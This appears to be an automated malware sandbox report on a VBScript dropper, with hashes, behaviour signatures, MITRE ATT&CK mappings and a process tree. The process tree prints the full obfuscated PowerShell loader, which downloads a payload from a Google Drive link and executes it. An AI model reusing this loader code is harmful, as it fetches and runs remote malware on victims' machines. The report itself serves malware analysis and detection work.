259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b

General

Target

259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b.vbs
Size

21KB
MD5

24dac6b183fc5cb29533742b3e54f209
SHA1

102f41208323839ecbcff8fef13e1ccf23b7a608
SHA256

259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b
SHA512

f4d20eb40e1e617e4d70c96b6f7b066b617efd17a28d04d3be38a60eb2cce17ceb8f1595bb16a8bf2b71147354a65ec5e8f3046caa81156809453238c687a289
SSDEEP

384:wgbqVWY0OjSRKdmkhYL4TGDiTkmZ0u4i9nLYgMstmCzmZrCF1956lbeTTA1HJH91:wgbqVWY0OjSRKd/hYL4TGDiTkmZ0Ti9a

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4964	powershell.exe
8	4964	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
1	drive.google.com
2	drive.google.com

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4964	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4964	powershell.exe
4964	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4964	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 4964	2056	WScript.exe	80
PID 2056 wrote to memory of 4964	2056	WScript.exe	80
PID 4964 wrote to memory of 4860	4964	powershell.exe	83
PID 4964 wrote to memory of 4860	4964	powershell.exe	83

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\259e6985a69d303cbd0945bb663c8ad54c28ef2cce53c2271b6e4912476d6f7b.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -windowstyle 1 "$Personliste = 1;$Binomialkoefficientens='';Function Superbusily($Livvidde){$Chrysothrix=$Livvidde.Length-$Personliste;$Servility=$Binomialkoefficientens+'Substring';For( $Ignoreringen=7;$Ignoreringen -lt $Chrysothrix;$Ignoreringen+=8){$bytrafik+=$Livvidde.$Servility.Invoke( $Ignoreringen, $Personliste);}$bytrafik;}function Outhue($Gaspedalens){ . ($Spasmolytically) ($Gaspedalens);}$Prvetekstens=Superbusily 'TinkturMphilosoo,nalterzS.ainleiSsp.jdelEneherslAstroloaEliks,r/Ru,idum5Undivid.Multinu0 ilians Cons.ab(PrveudsWtown,eaiRadbuganByggefod Mi,troo Fysik,w unnomas kek.te M,ulanaNOffent,TSpender Untramp1firedel0 dibenz.,igtana0 arrowi; Udbry. Und.rfoW Unb.waiGr,vsmenSeksual6 proede4 ,ynebe; Taktfa Registx For,rg6 adduce4Vekselr;st,dent Ruge.sprLocus.ivUn moke:Re,nves1 tautol2 Insinu1Eng evi.Kulmine0de.embr)Postpat Impo tuGCarcinoeorgi,stcComputekOphedenohovedsk/ Gaader2infleks0Renssan1Kvgsmis0Erhverv0Opslags1Jeremys0emballe1V.ginis Res.skFSvikml iGste.rer udbredeU combifGe.dannokitsdogx Efterh/Superco1 S oleb2Ynkelig1Volplan.Boldspi0 Deepin ';$Salgsvarerne=Superbusily ' F glefUf,ldauts Aboli.edesertarFreder.-RekursiAsalam.ng GordiaeRhombohnBa,ehtttO.nifor ';$nucleole=Superbusily 'AfstreghStorebrtNutc,ketVerdenspniddin.sQuac le:Mariali/Samarit/ Signa,dJasminerOpskresiA etyltvFolkedreNe gang.Le,ekasgStj,mpeoUnshunnoRentekogf,lserulIndh,ntePr mrpr.Defacinclevo,ucoudkradsm.taalig/S.rmoneu Unascec Uncomp?Tikmpere MotacixVenizelp HovedboRekomperklis.ertEuphono=HomophodSplenetoHelgenswbaadeh.nAbbrevilP.essero Be.utyaUroleucdDrmmesl&Quai eriTeknokrdHakkapi=Oxidise1 ,nciderSammenkrDagbrknbMor,enazTralledlbipinnaq SalthoYUnderbiRMo.ndinL NathasCKoeksissexten.alinaktivPSpha,roKA.lurenLGennems1rendejeyChrys.pp CouthsoUnderdr1bnskrafFFod,oldEmis urn1StraaliuHypnotiOSprachlkLoes,es3VoltospKPr.depeJKnhjdenaDalagamW LagdefKRu.dten ';$Beaandingens=Superbusily 'Lighter>gre.twh ';$Spasmolytically=Superbusily 'scorneri Ufo.tveBogtrykxBanesaa ';$Munkerup='Bankerotten';$Idrttens = Superbusily '.ihiliseGhu mulcNaadesthBadekaao muskie Par.elr%,ladtrya Refr.spSnortlepPenneprdgen.nskaJorganst SociolaPa,anuc%Ar.ogra\Te.charFCre enyi Temperd LindyseSluknt,is alinokFjerneno Ousterm F.rbrumDeceleri Overr.sLimstensBlgetopa WhilterDramatiiRoughfos Reoff k Palladehailstos Electr.MainfraSA judanlOrohydra,arobes Katikc &acrorha&Lipect, ImodstoeAmarantcLithotrhNonviraoRubb.ri StasiditMonokro ';Outhue (Superbusily 'Var etp$Staggerg Nasturl CarpinoParadokb Enst.vaClor,gelIn.esba:OdiscotsPa,tisorTrimorpgwant.nseutvetydf Kom.etlS praseoTaagetarFlyndereKursusmn avan.eeDemagogs bol,je= Adaman(Led,ggacFlamme m Shar idSvr,eds Skilten/B,nkbesc Highto nononer$ WondroI DusrjgdLandganrTantalitEksporttS.bningeInd lagnFaineansGilrava)Partner ');Outhue (Superbusily ' Coadju$GoaledogNnnen.elPanosteo.lejencbSumm tiaLig stilTrickli:sammentSKon raklApterinaSk,devapaf egnesBelomant Hektari ParthecUsigelikAnonolj=Plurip.$layloclnPachucouImplemecAstrobilOpslidse EjerlaoLrerf rlPrincewePapirp . Ubesvasauto trp NaboinlSuperheiKohrenttMejerie(Div,rce$InclipsBSynl gheChefkriahaevespaStopfodnInvaliddRabbitiiDe,entrnRewiresgUvealtoeU.recogntilplanslate,op)Tobacco ');$nucleole=$Slapstick[0];$Overgild= (Superbusily ' ymphom$GestaltgGenforelAkkumuloPrfer.nbUncorreaF,rhaanlAflyse :Vin ergSOutseekuGloppyhb PoliticSandhe,uCervinatSvedkiriJunkb,as ArmbeveHaspninsKnappyg=KopskatNbeskytteFjernstwFolkere-serg,lrO Hum.nmb hattiojdiskoteeRumnskecNonvolutaarsb.r KoreishS OlaviayHejsevrsMedusiftIltendeeSt.esermMapmaki.UnputriNHemmelieHistioltant.rea.ChauffeW TyranteSoc.alab re,derCoverderlRet.pleiAl,amiaeflippinnSkuflert');$Overgild+=$srgeflorenes[1];Outhue ($Overgild);Outhue (Superbusily 'Hrerrsf$PresynaSTerrazzuDok.tnibhagridicUforeneu.oncinntTeatersiNedsablsM asbygeTeltligsForespr.Decim lHBestormeFortrstaS,uirtidKasseapeKulturprG,ldfiss Antisp[Wo msee$ Medi,bSBredsdoaKvartsulHjemsengPreinjusPaxamprv Forv.la SissonrLyknskneArrearirHaeldten OutimaeBlurred]Forsvar=Or cula$EksisteP G benerToluid v NematoeVitrioltsvr.gteeNotoneck bab.lisCaricattOsogambedzoti.hn .ambods Horror ');$astringeringernes=Superbusily 'Idyllic$StatsfnSDemonteuCifbittb Overs,cBrasseyu FireletPyrr.lbiTerpolysEfteraaeModeordsH.vedba. VenkesDSeniorso Topob wrigor.snTjekkerl.eisminoTestkrsaBeothukd.oldjesF FyringiReflexelAmtsraae Gase.u( fldern$UricuronForegriuCapaletcSmdend.lBo,tedeeDolesfao Terapel Enh.nceNonrequ,Voldtgt$Pr.arbidS,egepaa Vagtstmlsk.dednNasalitaStradintPr genioGundesprDefrosty Tawesu)Kalk,la ';$damnatory=$srgeflorenes[0];Outhue (Superbusily 'marimba$W nterigTulisa lPlutonioSlavehabDelineaaNonargulLeptoce: araffiG LevedyyFilibuslMilieupdBre,vekiSkriblegAp.theohInquilieAsminesdopdukke2B.ossep3Galning3Slagt.s=Typwkul( Grupp,TstemplieArbejdesWirosc,tTreade.-applikaPMassersaSp.serntTeltdughMimeogr Udbrede$Transf,dSkrabnsaDemokramD.ovedhn UdvandaLayeragtAntisemoTowpathrisocyanyStruggl)Exsus i ');while (!$Gyldighed233) {Outhue (Superbusily 'Tvangsa$NewcolcgSkr.atolOpslidnoPhilolobFunnimeaEspaceml,altern:ClearinPKnastakeBrandforPatent,vFrikenda.oyarsslCotterhvInsula.aStrenger Manicu=cuppens$F,rurentUnemendrZurliteuJonos,re Freder ') ;Outhue $astringeringernes;Outhue (Superbusily 'AnfordrSparsleytReedieraSyvmiler nddatattimetal-.remsesS HypoamlPustersedroskebeAfmeldepKo,omip Bvelses4Solos.n ');Outhue (Superbusily ' ysiote$UdenriggBrnevenlBond.paoExtensubSevartwaPup idslOscillo:IntercoG De finyIridizalCoitaled Pr,ktiiMvhp,angUdsprinh MeseegeOk oberdVandlaa2Svanges3Reg.nte3Es roge=.anetti( forwarTvinc,nzeSu,chlosliersbatHar,eni-HovedpuP Ve,denaTotitivtHemiopihNetoper Madrepo$Koesem,d Ka.egoa Indsaam PituitnBrothiea DoomhotLo rdesoHulketmrTyssendyHortiku) Croose ') ;Outhue (Superbusily 'Singale$Cokyshig ormulal NaturmoambiencbVantguaaCalligrlF,annel:SpillepAJagtprouFaglitttErgometoGenansklSkade.ryUdfyldtcA,pehoru Venstrs dignit=Nylonsp$DecostagEliminelSti.lepo Tipoldbenle.fdaReallnslDecrimi:UntheisAVaccinenUd yndegCheeseme Reg.nelUdtydnifGangartiRejehopsTeatersh,irknineSkibs,asMaski,s+Ejefald+Spiseb.%Opposit$Feci.lbS aturallForew,eaKlbestrp Hoveris misfo.thawkmotiDybhavscUderumskFiskeku.Unlethac SeksteoRec,rbouBrunel nDesa,metPhotpho ') ;$nucleole=$Slapstick[$Autolycus];}$Rjsernes=333842;$Definitionernes=30113;Outhue (Superbusily 'Rutilan$SpecialgFrustrelU dvrlioPepitatbPigletcaFel.adhlMendels: C,ffinC S.lonkiParamutl ProduklA.leygaemul,angrChl.ropyKlippe. S rafpo=Iliocos IndtgtGClawsnoeForfaretHvn,err- UautorCUnd.rshoOpbevarn no,exptGlucon.eParlam,nindirectPetr li cryptoc$.pegepldDemagogaBlivesmmAntiantn flerspa EksametStrainao Udlig rdrspiony Succum ');Outhue (Superbusily 'Haavard$Spad efgTristezl aproctoDeco.orbMelonryaDelmomelAbl.cta:V,ndprvAkluk atn F,ttoge FlaffesMiracu tManubrihFederaleUrinaletUnphiloiKha,arfzNaivisme Oarf,s Martyn= udhol Th,irse[Dahlia SLength,y IsvintsVerden.t UnrumoeDinornimModef.l.VendetaCJoyprooo Honni.nB rgninvDisco.ye AfskrarDugpunktPhototr]Unmolde: rader,: SommerF Benz.nrS.dpudeoSlgtsfem AncienBEffulgea KedushsForbilleMetam.r6Epigene4BunchbaSAandendtcausewarVac.inaiEyeshadnSpl chngDefinie(Soigner$M gdepaCIno erci allotl Biklanl SyphoneOberstirSubstriySummon.) Tilbag ');Outhue (Superbusily ' Re,ros$Sw.thergOstracolFedes.ioB,slagsb AzandeaBelevnel Artles:Friskh TWash dlu ExtracmGuesserpSkytteklConstitiAmpelidndabblineHimen,f Trilleb=Sektion Hellang[ efloccSEudaimoyUn.andssPangaratTi,trnge HarengmSeismog.straf,eTPolydemeTristicx.efloattGennems.Fo teraEAdsprednObscurac FletteoTantal.dKreditgiChromatnEksterngKartere]Unaggra:Unsatir:MoseegmAP,rmafrSPokerisCArchimpIAbalienITvivlsw.PegepinGSnustobeMave,netBesotscSK,ressetPlat yfr SexoloiFormumnn F,libugFormaak(Angstfu$.oneybeAAgricsynGudet,mePljtelesBeflendt Disperh VandroeTransvetEfter,ri SmaglszMarisaseBr eraa)Kdetrkb ');Outhue (Superbusily 'Cotehel$ Vaun.hgArchie l Retsopo KontrobFreshenaSubs.anlWale ty:Re,ubliFDr coceoDv.geflrFoveolee OveropsDe.oaguk PropenrSyge.ikiHulrumbvEn cture MistralEnfiressOrdkriteEnma dsrGangbessafs.ori=Forsyth$rectifiTKrigsk,uOve.sttmDelingspLimberel Antirei Brach,nExecra eEngrosp.JordspesShrimpiuKodekseb MyrernsNon,portSpr tkrrPer,onaiPreco,snPlebeiag Monato(Liftgat$e oismsRTremblyjBefrielsToneflge PteridrForla snSvigerseMas incsArren t,Or,anis$Finhak DRundskaeSu arytfGob esoi DisdennFiktio,iUmennestP eceabiUdbandtoMi osfin EdeltreSvibl,nrKrselsfnDrt,inseContinusEpicond)Ind,cie ');Outhue $Foreskrivelsers;"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4964
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fideikommissariskes.Sla && echo t"
    3⤵
    PID:4860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Ggehvidens.txt

Filesize
619B

MD5
969bb01a2fd8cd85283a6f1d730d9a45

SHA1
f92ececfc6575e265310ba1d08302d9ad2ba60da

SHA256
a633b7ec939d782d0bf7d3fabb011efd7f19f71c8148f50c5759ba5ec1e426fa

SHA512
3a670b43654bd1ebde08587e6ac083944f795e77f85fc912dc6ccc26e26dd4b0595f5ae24fd24dfb220a72ff6fcd55910508a5df949a2a5eeab2c2062aaa0b67

Download Submit
C:\Users\Admin\AppData\Local\Temp\Ggehvidens.txt

Filesize
8KB

MD5
1bdacc28017d2adeab8c40b68e30acfd

SHA1
94ac78a16d912649ddb9421ddf3017aed9556660

SHA256
5c0997916dcf6961681d53886efa088f514aa237301c311ab3cabaab526b2744

SHA512
409d19810ea569da7fdbf73d916958e39ac2853124b289217e3c9d7ebac9ce225ff954663938a381244d4f82b890ac0094f060ba8ac2e2882856f45f13d864ef

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2l1tsfqa.0m0.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4964-317-0x00007FF9AD7F3000-0x00007FF9AD7F5000-memory.dmp

Filesize
8KB

Download
memory/4964-318-0x00000172CE720000-0x00000172CE742000-memory.dmp

Filesize
136KB

Download
memory/4964-328-0x00007FF9AD7F0000-0x00007FF9AE2B1000-memory.dmp

Filesize
10.8MB

Download
memory/4964-329-0x00007FF9AD7F0000-0x00007FF9AE2B1000-memory.dmp

Filesize
10.8MB

Download
memory/4964-332-0x00007FF9AD7F0000-0x00007FF9AE2B1000-memory.dmp

Filesize
10.8MB

Download
memory/4964-334-0x00007FF9AD7F0000-0x00007FF9AE2B1000-memory.dmp

Filesize
10.8MB

Download
memory/4964-335-0x00007FF9AD7F0000-0x00007FF9AE2B1000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing